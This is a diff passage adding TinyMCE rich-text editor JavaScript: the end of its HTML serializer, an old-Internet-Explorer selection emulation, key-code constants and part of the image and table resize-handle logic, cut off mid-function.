+			 * and then execute the callback ones it has finished parsing the document.
+			 *
+			 * @example
+			 * parser.addAttributeFilter('src,href', function(nodes, name) {
+			 *		for (var i = 0; i < nodes.length; i++) {
+			 *			console.log(nodes[i].name);
+			 *		}
+			 * });
+			 * @method addAttributeFilter
+			 * @method {String} name Comma separated list of nodes to collect.
+			 * @param {function} callback Callback function to execute once it has collected nodes.
+			 */
+			addAttributeFilter: htmlParser.addAttributeFilter,
+
+			/**
+			 * Serializes the specified browser DOM node into a HTML string.
+			 *
+			 * @method serialize
+			 * @param {DOMNode} node DOM node to serialize.
+			 * @param {Object} args Arguments option that gets passed to event handlers.
+			 */
+			serialize: function(node, args) {
+				var self = this, impl, doc, oldDoc, htmlSerializer, content;
+
+				// Explorer won't clone contents of script and style and the
+				// selected index of select elements are cleared on a clone operation.
+				if (Env.ie && dom.select('script,style,select,map').length > 0) {
+					content = node.innerHTML;
+					node = node.cloneNode(false);
+					dom.setHTML(node, content);
+				} else {
+					node = node.cloneNode(true);
+				}
+
+				// Nodes needs to be attached to something in WebKit/Opera
+				// This fix will make DOM ranges and make Sizzle happy!
+				impl = node.ownerDocument.implementation;
+				if (impl.createHTMLDocument) {
+					// Create an empty HTML document
+					doc = impl.createHTMLDocument("");
+
+					// Add the element or it's children if it's a body element to the new document
+					each(node.nodeName == 'BODY' ? node.childNodes : [node], function(node) {
+						doc.body.appendChild(doc.importNode(node, true));
+					});
+
+					// Grab first child or body element for serialization
+					if (node.nodeName != 'BODY') {
+						node = doc.body.firstChild;
+					} else {
+						node = doc.body;
+					}
+
+					// set the new document in DOMUtils so createElement etc works
+					oldDoc = dom.doc;
+					dom.doc = doc;
+				}
+
+				args = args || {};
+				args.format = args.format || 'html';
+
+				// Don't wrap content if we want selected html
+				if (args.selection) {
+					args.forced_root_block = '';
+				}
+
+				// Pre process
+				if (!args.no_events) {
+					args.node = node;
+					self.onPreProcess(args);
+				}
+
+				// Setup serializer
+				htmlSerializer = new Serializer(settings, schema);
+
+				// Parse and serialize HTML
+				args.content = htmlSerializer.serialize(
+					htmlParser.parse(trim(args.getInner ? node.innerHTML : dom.getOuterHTML(node)), args)
+				);
+
+				// Replace all BOM characters for now until we can find a better solution
+				if (!args.cleanup) {
+					args.content = args.content.replace(/\uFEFF/g, '');
+				}
+
+				// Post process
+				if (!args.no_events) {
+					self.onPostProcess(args);
+				}
+
+				// Restore the old document if it was changed
+				if (oldDoc) {
+					dom.doc = oldDoc;
+				}
+
+				args.node = null;
+
+				return args.content;
+			},
+
+			/**
+			 * Adds valid elements rules to the serializers schema instance this enables you to specify things
+			 * like what elements should be outputted and what attributes specific elements might have.
+			 * Consult the Wiki for more details on this format.
+			 *
+			 * @method addRules
+			 * @param {String} rules Valid elements rules string to add to schema.
+			 */
+			addRules: function(rules) {
+				schema.addValidElements(rules);
+			},
+
+			/**
+			 * Sets the valid elements rules to the serializers schema instance this enables you to specify things
+			 * like what elements should be outputted and what attributes specific elements might have.
+			 * Consult the Wiki for more details on this format.
+			 *
+			 * @method setRules
+			 * @param {String} rules Valid elements rules string.
+			 */
+			setRules: function(rules) {
+				schema.setValidElements(rules);
+			},
+
+			onPreProcess: function(args) {
+				if (editor) {
+					editor.fire('PreProcess', args);
+				}
+			},
+
+			onPostProcess: function(args) {
+				if (editor) {
+					editor.fire('PostProcess', args);
+				}
+			}
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/dom/TridentSelection.js
+
+/**
+ * TridentSelection.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Selection class for old explorer versions. This one fakes the
+ * native selection object available on modern browsers.
+ *
+ * @class tinymce.dom.TridentSelection
+ */
+define("tinymce/dom/TridentSelection", [], function() {
+	function Selection(selection) {
+		var self = this, dom = selection.dom, FALSE = false;
+
+		function getPosition(rng, start) {
+			var checkRng, startIndex = 0, endIndex, inside,
+				children, child, offset, index, position = -1, parent;
+
+			// Setup test range, collapse it and get the parent
+			checkRng = rng.duplicate();
+			checkRng.collapse(start);
+			parent = checkRng.parentElement();
+
+			// Check if the selection is within the right document
+			if (parent.ownerDocument !== selection.dom.doc) {
+				return;
+			}
+
+			// IE will report non editable elements as it's parent so look for an editable one
+			while (parent.contentEditable === "false") {
+				parent = parent.parentNode;
+			}
+
+			// If parent doesn't have any children then return that we are inside the element
+			if (!parent.hasChildNodes()) {
+				return {node: parent, inside: 1};
+			}
+
+			// Setup node list and endIndex
+			children = parent.children;
+			endIndex = children.length - 1;
+
+			// Perform a binary search for the position
+			while (startIndex <= endIndex) {
+				index = Math.floor((startIndex + endIndex) / 2);
+
+				// Move selection to node and compare the ranges
+				child = children[index];
+				checkRng.moveToElementText(child);
+				position = checkRng.compareEndPoints(start ? 'StartToStart' : 'EndToEnd', rng);
+
+				// Before/after or an exact match
+				if (position > 0) {
+					endIndex = index - 1;
+				} else if (position < 0) {
+					startIndex = index + 1;
+				} else {
+					return {node: child};
+				}
+			}
+
+			// Check if child position is before or we didn't find a position
+			if (position < 0) {
+				// No element child was found use the parent element and the offset inside that
+				if (!child) {
+					checkRng.moveToElementText(parent);
+					checkRng.collapse(true);
+					child = parent;
+					inside = true;
+				} else {
+					checkRng.collapse(false);
+				}
+
+				// Walk character by character in text node until we hit the selected range endpoint,
+				// hit the end of document or parent isn't the right one
+				// We need to walk char by char since rng.text or rng.htmlText will trim line endings
+				offset = 0;
+				while (checkRng.compareEndPoints(start ? 'StartToStart' : 'StartToEnd', rng) !== 0) {
+					if (checkRng.move('character', 1) === 0 || parent != checkRng.parentElement()) {
+						break;
+					}
+
+					offset++;
+				}
+			} else {
+				// Child position is after the selection endpoint
+				checkRng.collapse(true);
+
+				// Walk character by character in text node until we hit the selected range endpoint, hit
+				// the end of document or parent isn't the right one
+				offset = 0;
+				while (checkRng.compareEndPoints(start ? 'StartToStart' : 'StartToEnd', rng) !== 0) {
+					if (checkRng.move('character', -1) === 0 || parent != checkRng.parentElement()) {
+						break;
+					}
+
+					offset++;
+				}
+			}
+
+			return {node: child, position: position, offset: offset, inside: inside};
+		}
+
+		// Returns a W3C DOM compatible range object by using the IE Range API
+		function getRange() {
+			var ieRange = selection.getRng(), domRange = dom.createRng(), element, collapsed, tmpRange, element2, bookmark;
+
+			// If selection is outside the current document just return an empty range
+			element = ieRange.item ? ieRange.item(0) : ieRange.parentElement();
+			if (element.ownerDocument != dom.doc) {
+				return domRange;
+			}
+
+			collapsed = selection.isCollapsed();
+
+			// Handle control selection
+			if (ieRange.item) {
+				domRange.setStart(element.parentNode, dom.nodeIndex(element));
+				domRange.setEnd(domRange.startContainer, domRange.startOffset + 1);
+
+				return domRange;
+			}
+
+			function findEndPoint(start) {
+				var endPoint = getPosition(ieRange, start), container, offset, textNodeOffset = 0, sibling, undef, nodeValue;
+
+				container = endPoint.node;
+				offset = endPoint.offset;
+
+				if (endPoint.inside && !container.hasChildNodes()) {
+					domRange[start ? 'setStart' : 'setEnd'](container, 0);
+					return;
+				}
+
+				if (offset === undef) {
+					domRange[start ? 'setStartBefore' : 'setEndAfter'](container);
+					return;
+				}
+
+				if (endPoint.position < 0) {
+					sibling = endPoint.inside ? container.firstChild : container.nextSibling;
+
+					if (!sibling) {
+						domRange[start ? 'setStartAfter' : 'setEndAfter'](container);
+						return;
+					}
+
+					if (!offset) {
+						if (sibling.nodeType == 3) {
+							domRange[start ? 'setStart' : 'setEnd'](sibling, 0);
+						} else {
+							domRange[start ? 'setStartBefore' : 'setEndBefore'](sibling);
+						}
+
+						return;
+					}
+
+					// Find the text node and offset
+					while (sibling) {
+						if (sibling.nodeType == 3) {
+							nodeValue = sibling.nodeValue;
+							textNodeOffset += nodeValue.length;
+
+							// We are at or passed the position we where looking for
+							if (textNodeOffset >= offset) {
+								container = sibling;
+								textNodeOffset -= offset;
+								textNodeOffset = nodeValue.length - textNodeOffset;
+								break;
+							}
+						}
+
+						sibling = sibling.nextSibling;
+					}
+				} else {
+					// Find the text node and offset
+					sibling = container.previousSibling;
+
+					if (!sibling) {
+						return domRange[start ? 'setStartBefore' : 'setEndBefore'](container);
+					}
+
+					// If there isn't any text to loop then use the first position
+					if (!offset) {
+						if (container.nodeType == 3) {
+							domRange[start ? 'setStart' : 'setEnd'](sibling, container.nodeValue.length);
+						} else {
+							domRange[start ? 'setStartAfter' : 'setEndAfter'](sibling);
+						}
+
+						return;
+					}
+
+					while (sibling) {
+						if (sibling.nodeType == 3) {
+							textNodeOffset += sibling.nodeValue.length;
+
+							// We are at or passed the position we where looking for
+							if (textNodeOffset >= offset) {
+								container = sibling;
+								textNodeOffset -= offset;
+								break;
+							}
+						}
+
+						sibling = sibling.previousSibling;
+					}
+				}
+
+				domRange[start ? 'setStart' : 'setEnd'](container, textNodeOffset);
+			}
+
+			try {
+				// Find start point
+				findEndPoint(true);
+
+				// Find end point if needed
+				if (!collapsed) {
+					findEndPoint();
+				}
+			} catch (ex) {
+				// IE has a nasty bug where text nodes might throw "invalid argument" when you
+				// access the nodeValue or other properties of text nodes. This seems to happend when
+				// text nodes are split into two nodes by a delete/backspace call. So lets detect it and try to fix it.
+				if (ex.number == -2147024809) {
+					// Get the current selection
+					bookmark = self.getBookmark(2);
+
+					// Get start element
+					tmpRange = ieRange.duplicate();
+					tmpRange.collapse(true);
+					element = tmpRange.parentElement();
+
+					// Get end element
+					if (!collapsed) {
+						tmpRange = ieRange.duplicate();
+						tmpRange.collapse(false);
+						element2 = tmpRange.parentElement();
+						element2.innerHTML = element2.innerHTML;
+					}
+
+					// Remove the broken elements
+					element.innerHTML = element.innerHTML;
+
+					// Restore the selection
+					self.moveToBookmark(bookmark);
+
+					// Since the range has moved we need to re-get it
+					ieRange = selection.getRng();
+
+					// Find start point
+					findEndPoint(true);
+
+					// Find end point if needed
+					if (!collapsed) {
+						findEndPoint();
+					}
+				} else {
+					throw ex; // Throw other errors
+				}
+			}
+
+			return domRange;
+		}
+
+		this.getBookmark = function(type) {
+			var rng = selection.getRng(), bookmark = {};
+
+			function getIndexes(node) {
+				var parent, root, children, i, indexes = [];
+
+				parent = node.parentNode;
+				root = dom.getRoot().parentNode;
+
+				while (parent != root && parent.nodeType !== 9) {
+					children = parent.children;
+
+					i = children.length;
+					while (i--) {
+						if (node === children[i]) {
+							indexes.push(i);
+							break;
+						}
+					}
+
+					node = parent;
+					parent = parent.parentNode;
+				}
+
+				return indexes;
+			}
+
+			function getBookmarkEndPoint(start) {
+				var position;
+
+				position = getPosition(rng, start);
+				if (position) {
+					return {
+						position: position.position,
+						offset: position.offset,
+						indexes: getIndexes(position.node),
+						inside: position.inside
+					};
+				}
+			}
+
+			// Non ubstructive bookmark
+			if (type === 2) {
+				// Handle text selection
+				if (!rng.item) {
+					bookmark.start = getBookmarkEndPoint(true);
+
+					if (!selection.isCollapsed()) {
+						bookmark.end = getBookmarkEndPoint();
+					}
+				} else {
+					bookmark.start = {ctrl: true, indexes: getIndexes(rng.item(0))};
+				}
+			}
+
+			return bookmark;
+		};
+
+		this.moveToBookmark = function(bookmark) {
+			var rng, body = dom.doc.body;
+
+			function resolveIndexes(indexes) {
+				var node, i, idx, children;
+
+				node = dom.getRoot();
+				for (i = indexes.length - 1; i >= 0; i--) {
+					children = node.children;
+					idx = indexes[i];
+
+					if (idx <= children.length - 1) {
+						node = children[idx];
+					}
+				}
+
+				return node;
+			}
+
+			function setBookmarkEndPoint(start) {
+				var endPoint = bookmark[start ? 'start' : 'end'], moveLeft, moveRng, undef, offset;
+
+				if (endPoint) {
+					moveLeft = endPoint.position > 0;
+
+					moveRng = body.createTextRange();
+					moveRng.moveToElementText(resolveIndexes(endPoint.indexes));
+
+					offset = endPoint.offset;
+					if (offset !== undef) {
+						moveRng.collapse(endPoint.inside || moveLeft);
+						moveRng.moveStart('character', moveLeft ? -offset : offset);
+					} else {
+						moveRng.collapse(start);
+					}
+
+					rng.setEndPoint(start ? 'StartToStart' : 'EndToStart', moveRng);
+
+					if (start) {
+						rng.collapse(true);
+					}
+				}
+			}
+
+			if (bookmark.start) {
+				if (bookmark.start.ctrl) {
+					rng = body.createControlRange();
+					rng.addElement(resolveIndexes(bookmark.start.indexes));
+					rng.select();
+				} else {
+					rng = body.createTextRange();
+					setBookmarkEndPoint(true);
+					setBookmarkEndPoint();
+					rng.select();
+				}
+			}
+		};
+
+		this.addRange = function(rng) {
+			var ieRng, ctrlRng, startContainer, startOffset, endContainer, endOffset, sibling,
+				doc = selection.dom.doc, body = doc.body, nativeRng, ctrlElm;
+
+			function setEndPoint(start) {
+				var container, offset, marker, tmpRng, nodes;
+
+				marker = dom.create('a');
+				container = start ? startContainer : endContainer;
+				offset = start ? startOffset : endOffset;
+				tmpRng = ieRng.duplicate();
+
+				if (container == doc || container == doc.documentElement) {
+					container = body;
+					offset = 0;
+				}
+
+				if (container.nodeType == 3) {
+					container.parentNode.insertBefore(marker, container);
+					tmpRng.moveToElementText(marker);
+					tmpRng.moveStart('character', offset);
+					dom.remove(marker);
+					ieRng.setEndPoint(start ? 'StartToStart' : 'EndToEnd', tmpRng);
+				} else {
+					nodes = container.childNodes;
+
+					if (nodes.length) {
+						if (offset >= nodes.length) {
+							dom.insertAfter(marker, nodes[nodes.length - 1]);
+						} else {
+							container.insertBefore(marker, nodes[offset]);
+						}
+
+						tmpRng.moveToElementText(marker);
+					} else if (container.canHaveHTML) {
+						// Empty node selection for example <div>|</div>
+						// Setting innerHTML with a span marker then remove that marker seems to keep empty block elements open
+						container.innerHTML = '<span>&#xFEFF;</span>';
+						marker = container.firstChild;
+						tmpRng.moveToElementText(marker);
+						tmpRng.collapse(FALSE); // Collapse false works better than true for some odd reason
+					}
+
+					ieRng.setEndPoint(start ? 'StartToStart' : 'EndToEnd', tmpRng);
+					dom.remove(marker);
+				}
+			}
+
+			// Setup some shorter versions
+			startContainer = rng.startContainer;
+			startOffset = rng.startOffset;
+			endContainer = rng.endContainer;
+			endOffset = rng.endOffset;
+			ieRng = body.createTextRange();
+
+			// If single element selection then try making a control selection out of it
+			if (startContainer == endContainer && startContainer.nodeType == 1) {
+				// Trick to place the caret inside an empty block element like <p></p>
+				if (startOffset == endOffset && !startContainer.hasChildNodes()) {
+					if (startContainer.canHaveHTML) {
+						// Check if previous sibling is an empty block if it is then we need to render it
+						// IE would otherwise move the caret into the sibling instead of the empty startContainer see: #5236
+						// Example this: <p></p><p>|</p> would become this: <p>|</p><p></p>
+						sibling = startContainer.previousSibling;
+						if (sibling && !sibling.hasChildNodes() && dom.isBlock(sibling)) {
+							sibling.innerHTML = '&#xFEFF;';
+						} else {
+							sibling = null;
+						}
+
+						startContainer.innerHTML = '<span>&#xFEFF;</span><span>&#xFEFF;</span>';
+						ieRng.moveToElementText(startContainer.lastChild);
+						ieRng.select();
+						dom.doc.selection.clear();
+						startContainer.innerHTML = '';
+
+						if (sibling) {
+							sibling.innerHTML = '';
+						}
+						return;
+					} else {
+						startOffset = dom.nodeIndex(startContainer);
+						startContainer = startContainer.parentNode;
+					}
+				}
+
+				if (startOffset == endOffset - 1) {
+					try {
+						ctrlElm = startContainer.childNodes[startOffset];
+						ctrlRng = body.createControlRange();
+						ctrlRng.addElement(ctrlElm);
+						ctrlRng.select();
+
+						// Check if the range produced is on the correct element and is a control range
+						// On IE 8 it will select the parent contentEditable container if you select an inner element see: #5398
+						nativeRng = selection.getRng();
+						if (nativeRng.item && ctrlElm === nativeRng.item(0)) {
+							return;
+						}
+					} catch (ex) {
+						// Ignore
+					}
+				}
+			}
+
+			// Set start/end point of selection
+			setEndPoint(true);
+			setEndPoint();
+
+			// Select the new range and scroll it into view
+			ieRng.select();
+		};
+
+		// Expose range method
+		this.getRangeAt = getRange;
+	}
+
+	return Selection;
+});
+
+// Included from: js/tinymce/classes/util/VK.js
+
+/**
+ * VK.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This file exposes a set of the common KeyCodes for use.  Please grow it as needed.
+ */
+define("tinymce/util/VK", [
+	"tinymce/Env"
+], function(Env) {
+	return {
+		BACKSPACE: 8,
+		DELETE: 46,
+		DOWN: 40,
+		ENTER: 13,
+		LEFT: 37,
+		RIGHT: 39,
+		SPACEBAR: 32,
+		TAB: 9,
+		UP: 38,
+
+		modifierPressed: function(e) {
+			return e.shiftKey || e.ctrlKey || e.altKey || this.metaKeyPressed(e);
+		},
+
+		metaKeyPressed: function(e) {
+			// Check if ctrl or meta key is pressed. Edge case for AltGr on Windows where it produces ctrlKey+altKey states
+			return (Env.mac ? e.metaKey : e.ctrlKey && !e.altKey);
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/dom/ControlSelection.js
+
+/**
+ * ControlSelection.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles control selection of elements. Controls are elements
+ * that can be resized and needs to be selected as a whole. It adds custom resize handles
+ * to all browser engines that support properly disabling the built in resize logic.
+ *
+ * @class tinymce.dom.ControlSelection
+ */
+define("tinymce/dom/ControlSelection", [
+	"tinymce/util/VK",
+	"tinymce/util/Tools",
+	"tinymce/Env"
+], function(VK, Tools, Env) {
+	return function(selection, editor) {
+		var dom = editor.dom, each = Tools.each;
+		var selectedElm, selectedElmGhost, resizeHelper, resizeHandles, selectedHandle, lastMouseDownEvent;
+		var startX, startY, selectedElmX, selectedElmY, startW, startH, ratio, resizeStarted;
+		var width, height, editableDoc = editor.getDoc(), rootDocument = document, isIE = Env.ie && Env.ie < 11;
+		var abs = Math.abs, round = Math.round, rootElement = editor.getBody(), startScrollWidth, startScrollHeight;
+
+		// Details about each resize handle how to scale etc
+		resizeHandles = {
+			// Name: x multiplier, y multiplier, delta size x, delta size y
+			n:  [0.5,   0,     0,   -1],
+			e:  [1,    0.5,    1,    0],
+			s:  [0.5,   1,     0,    1],
+			w:  [0,    0.5,   -1,    0],
+			nw: [0,     0,    -1,   -1],
+			ne: [1,     0,     1,   -1],
+			se: [1,     1,     1,    1],
+			sw: [0,     1,    -1,    1]
+		};
+
+		// Add CSS for resize handles, cloned element and selected
+		var rootClass = '.mce-content-body';
+		editor.contentStyles.push(
+			rootClass + ' div.mce-resizehandle {' +
+				'position: absolute;' +
+				'border: 1px solid black;' +
+				'background: #FFF;' +
+				'width: 5px;' +
+				'height: 5px;' +
+				'z-index: 10000' +
+			'}' +
+			rootClass + ' .mce-resizehandle:hover {' +
+				'background: #000' +
+			'}' +
+			rootClass + ' img[data-mce-selected], hr[data-mce-selected] {' +
+				'outline: 1px solid black;' +
+				'resize: none' + // Have been talks about implementing this in browsers
+			'}' +
+			rootClass + ' .mce-clonedresizable {' +
+				'position: absolute;' +
+				(Env.gecko ? '' : 'outline: 1px dashed black;') + // Gecko produces trails while resizing
+				'opacity: .5;' +
+				'filter: alpha(opacity=50);' +
+				'z-index: 10000' +
+			'}' +
+			rootClass + ' .mce-resize-helper {' +
+				'background: #555;' +
+				'background: rgba(0,0,0,0.75);' +
+				'border-radius: 3px;' +
+				'border: 1px;' +
+				'color: white;' +
+				'display: none;' +
+				'font-family: sans-serif;' +
+				'font-size: 12px;' +
+				'white-space: nowrap;' +
+				'line-height: 14px;' +
+				'margin: 5px 10px;' +
+				'padding: 5px;' +
+				'position: absolute;' +
+				'z-index: 10001' +
+			'}'
+		);
+
+		function isResizable(elm) {
+			var selector = editor.settings.object_resizing;
+
+			if (selector === false || Env.iOS) {
+				return false;
+			}
+
+			if (typeof selector != 'string') {
+				selector = 'table,img,div';
+			}
+
+			if (elm.getAttribute('data-mce-resize') === 'false') {
+				return false;
+			}
+
+			return editor.dom.is(elm, selector);
+		}
+
+		function resizeGhostElement(e) {
+			var deltaX, deltaY, proportional;
+			var resizeHelperX, resizeHelperY;
+
+			// Calc new width/height
+			deltaX = e.screenX - startX;
+			deltaY = e.screenY - startY;
+
+			// Calc new size
+			width = deltaX * selectedHandle[2] + startW;
+			height = deltaY * selectedHandle[3] + startH;
+
+			// Never scale down lower than 5 pixels
+			width = width < 5 ? 5 : width;
+			height = height < 5 ? 5 : height;
+
+			if (selectedElm.nodeName == "IMG" && editor.settings.resize_img_proportional !== false) {
+				proportional = !VK.modifierPressed(e);
+			} else {
+				proportional = VK.modifierPressed(e) || (selectedElm.nodeName == "IMG" && selectedHandle[2] * selectedHandle[3] !== 0);
+			}
+
+			// Constrain proportions
+			if (proportional) {
+				if (abs(deltaX) > abs(deltaY)) {
+					height = round(width * ratio);
+					width = round(height / ratio);
+				} else {
+					width = round(height / ratio);
+					height = round(width * ratio);
+				}
+			}
+
+			// Update ghost size
+			dom.setStyles(selectedElmGhost, {
+				width: width,
+				height: height
+			});
+
+			// Update resize helper position
+			resizeHelperX = selectedHandle.startPos.x + deltaX;
+			resizeHelperY = selectedHandle.startPos.y + deltaY;
+			resizeHelperX = resizeHelperX > 0 ? resizeHelperX : 0;
+			resizeHelperY = resizeHelperY > 0 ? resizeHelperY : 0;
+
+			dom.setStyles(resizeHelper, {
+				left: resizeHelperX,
+				top: resizeHelperY,
+				display: 'block'
+			});
+
+			resizeHelper.innerHTML = width + ' &times; ' + height;
+
+			// Update ghost X position if needed
+			if (selectedHandle[2] < 0 && selectedElmGhost.clientWidth <= width) {
+				dom.setStyle(selectedElmGhost, 'left', selectedElmX + (startW - width));
+			}
+
+			// Update ghost Y position if needed
+			if (selectedHandle[3] < 0 && selectedElmGhost.clientHeight <= height) {
+				dom.setStyle(selectedElmGhost, 'top', selectedElmY + (startH - height));
+			}
+
+			// Calculate how must overflow we got
+			deltaX = rootElement.scrollWidth - startScrollWidth;
+			deltaY = rootElement.scrollHeight - startScrollHeight;
+
+			// Re-position the resize helper based on the overflow
+			if (deltaX + deltaY !== 0) {
+				dom.setStyles(resizeHelper, {
+					left: resizeHelperX - deltaX,
+					top: resizeHelperY - deltaY
+				});
+			}
+
+			if (!resizeStarted) {
+				editor.fire('ObjectResizeStart', {target: selectedElm, width: startW, height: startH});
+				resizeStarted = true;
+			}
+		}
+
+		function endGhostResize() {
+			resizeStarted = false;
+
+			function setSizeProp(name, value) {
+				if (value) {
+					// Resize by using style or attribute
+					if (selectedElm.style[name] || !editor.schema.isValid(selectedElm.nodeName.toLowerCase(), name)) {
+						dom.setStyle(selectedElm, name, value);
+					} else {
+						dom.setAttrib(selectedElm, name, value);
+					}
+				}
+			}
+
+			// Set width/height properties
+			setSizeProp('width', width);
+			setSizeProp('height', height);
+
+			dom.unbind(editableDoc, 'mousemove', resizeGhostElement);
+			dom.unbind(editableDoc, 'mouseup', endGhostResize);
+
+			if (rootDocument != editableDoc) {
+				dom.unbind(rootDocument, 'mousemove', resizeGhostElement);
+				dom.unbind(rootDocument, 'mouseup', endGhostResize);
+			}
+
+			// Remove ghost/helper and update resize handle positions
+			dom.remove(selectedElmGhost);
+			dom.remove(resizeHelper);
+
+			if (!isIE || selectedElm.nodeName == "TABLE") {
+				showResizeRect(selectedElm);
+			}
+
+			editor.fire('ObjectResized', {target: selectedElm, width: width, height: height});
+			dom.setAttrib(selectedElm, 'style', dom.getAttrib(selectedElm, 'style'));
+			editor.nodeChanged();
+		}
+
+		function showResizeRect(targetElm, mouseDownHandleName, mouseDownEvent) {
+			var position, targetWidth, targetHeight, e, rect;
+
+			unbindResizeHandleEvents();
+
+			// Get position and size of target
+			position = dom.getPos(targetElm, rootElement);
+			selectedElmX = position.x;
+			selectedElmY = position.y;
+			rect = targetElm.getBoundingClientRect(); // Fix for Gecko offsetHeight for table with caption
+			targetWidth = rect.width || (rect.right - rect.left);
+			targetHeight = rect.height || (rect.bottom - rect.top);
+
+			// Reset width/height if user selects a new image/table
+			if (selectedElm != targetElm) {
+				detachResizeStartListener();
+				selectedElm = targetElm;
+				width = height = 0;
+			}
+
+			// Makes it possible to disable resizing
+			e = editor.fire('ObjectSelected', {target: targetElm});
+
+			if (isResizable(targetElm) && !e.isDefaultPrevented()) {
+				each(resizeHandles, function(handle, name) {
+					var handleElm, handlerContainerElm;
+
+					function startDrag(e) {
+						startX = e.screenX;
+						startY = e.screenY;
+						startW = selectedElm.clientWidth;
+						startH = selectedElm.clientHeight;
+						ratio = startH / startW;
+						selectedHandle = handle;
+
+						handle.startPos = {
+							x: targetWidth * handle[0] + selectedElmX,
+							y: targetHeight * handle[1] + selectedElmY
+						};
+
+						startScrollWidth = rootElement.scrollWidth;
+						startScrollHeight = rootElement.scrollHeight;
+
+						selectedElmGhost = selectedElm.cloneNode(true);
+						dom.addClass(selectedElmGhost, 'mce-clonedresizable');
+						dom.setAttrib(selectedElmGhost, 'data-mce-bogus', 'all');
+						selectedElmGhost.contentEditable = false; // Hides IE move layer cursor
+						selectedElmGhost.unSelectabe = true;
+						dom.setStyles(selectedElmGhost, {
+							left: selectedElmX,
+							top: selectedElmY,
+							margin: 0
+						});
+
+						selectedElmGhost.removeAttribute('data-mce-selected');
+						rootElement.appendChild(selectedElmGhost);
+
+						dom.bind(editableDoc, 'mousemove', resizeGhostElement);
+						dom.bind(editableDoc, 'mouseup', endGhostResize);
+
+						if (rootDocument != editableDoc) {
+							dom.bind(rootDocument, 'mousemove', resizeGhostElement);
+							dom.bind(rootDocument, 'mouseup', endGhostResize);
+						}
+
+						resizeHelper = dom.add(rootElement, 'div', {
+							'class': 'mce-resize-helper',
+							'data-mce-bogus': 'all'
+						}, startW + ' &times; ' + startH);
+					}
+
+					if (mouseDownHandleName) {
+						// Drag started by IE native resizestart
+						if (name == mouseDownHandleName) {
+							startDrag(mouseDownEvent);
+						}
+
+						return;
+					}
+
+					// Get existing or render resize handle
+					handleElm = dom.get('mceResizeHandle' + name);
+					if (!handleElm) {
+						handlerContainerElm = rootElement;
+
+						handleElm = dom.add(handlerContainerElm, 'div', {
+							id: 'mceResizeHandle' + name,
+							'data-mce-bogus': 'all',
+							'class': 'mce-resizehandle',
+							unselectable: true,
+							style: 'cursor:' + name + '-resize; margin:0; padding:0'
+						});
+
+						// Hides IE move layer cursor
+						// If we set it on Chrome we get this wounderful bug: #6725
+						if (Env.ie) {
+							handleElm.contentEditable = false;
+						}
+					} else {
+						dom.show(handleElm);
+					}
+
+					if (!handle.elm) {
+						dom.bind(handleElm, 'mousedown', function(e) {
+							e.stopImmediatePropagation();
+							e.preventDefault();
+							startDrag(e);
+						});
+
+						handle.elm = handleElm;
+					}
+
+					// Position element
+					dom.setStyles(handleElm, {
+						left: (targetWidth * handle[0] + selectedElmX) - (handleElm.offsetWidth / 2),
+						top: (targetHeight * handle[1] + selectedElmY) - (handleElm.offsetHeight / 2)
+					});
+				});
+			} else {
+				hideResizeRect();
+			}
+
+			selectedElm.setAttribute('data-mce-selected', '1');
+		}
+
+		function hideResizeRect() {
+			var name, handleElm;
+
+			unbindResizeHandleEvents();
+
+			if (selectedElm) {
+				selectedElm.removeAttribute('data-mce-selected');
+			}
+
+			for (name in resizeHandles) {
+				handleElm = dom.get('mceResizeHandle' + name);
+				if (handleElm) {
+					dom.unbind(handleElm);
+					dom.remove(handleElm);
+				}
+			}
+		}
+
+		function updateResizeRect(e) {
+			var startElm, controlElm;
+
+			function isChildOrEqual(node, parent) {
+				if (node) {
+					do {
+						if (node === parent) {
+							return true;
+						}
+					} while ((node = node.parentNode));
+				}
+			}
+
+			// Ignore all events while resizing
+			if (resizeStarted) {
+				return;
+			}
+
+			// Remove data-mce-selected from all elements since they might have been copied using Ctrl+c/v
+			each(dom.select('img[data-mce-selected],hr[data-mce-selected]'), function(img) {
+				img.removeAttribute('data-mce-selected');
+			});
+
+			controlElm = e.type == 'mousedown' ? e.target : selection.getNode();
+			controlElm = dom.$(controlElm).closest(isIE ? 'table' : 'table,img,hr')[0];
+
+			if (isChildOrEqual(controlElm, rootElement)) {
+				disableGeckoResize();
+				startElm = selection.getStart(true);
+
+				if (isChildOrEqual(startElm, controlElm) && isChildOrEqual(selection.getEnd(true), controlElm)) {
+					if (!isIE || (controlElm != startElm && startElm.nodeName !== 'IMG')) {
+						showResizeRect(controlElm);
+						return;
+					}
+				}
+			}
+
+			hideResizeRect();
+		}
+
+		function attachEvent(elm, name, func) {
+			if (elm && elm.attachEvent) {
+				elm.attachEvent('on' + name, func);
+			}
+		}
+
+		function detachEvent(elm, name, func) {
+			if (elm && elm.detachEvent) {
+				elm.detachEvent('on' + name, func);
+			}
+		}
+
+		function resizeNativeStart(e) {
+			var target = e.srcElement, pos, name, corner, cornerX, cornerY, relativeX, relativeY;
+
+			pos = target.getBoundingClientRect();
+			relativeX = lastMouseDownEvent.clientX - pos.left;
+			relativeY = lastMouseDownEvent.clientY - pos.top;
+
+			// Figure out what corner we are draging on
+			for (name in resizeHandles) {
+				corner = resizeHandles[name];
+
+				cornerX = target.offsetWidth * corner[0];
+				cornerY = target.offsetHeight * corner[1];
+
+				if (abs(cornerX - relativeX) < 8 && abs(cornerY - relativeY) < 8) {
+					selectedHandle = corner;
+					break;
+				}
+			}
+
+			// Remove native selection and let the magic begin
+			resizeStarted = true;
+			editor.fire('ObjectResizeStart', {
+				target: selectedElm,
+				width: selectedElm.clientWidth,
+				height: selectedElm.clientHeight
+			});
+			editor.getDoc().selection.empty();
+			showResizeRect(target, name, lastMouseDownEvent);
+		}
+
+		function nativeControlSelect(e) {
+			var target = e.srcElement;
+
+			if (target != selectedElm) {
+				editor.fire('ObjectSelected', {target: target});
+				detachResizeStartListener();
+
+				if (target.id.indexOf('mceResizeHandle') === 0) {
+					e.returnValue = false;
+					return;
+				}
+
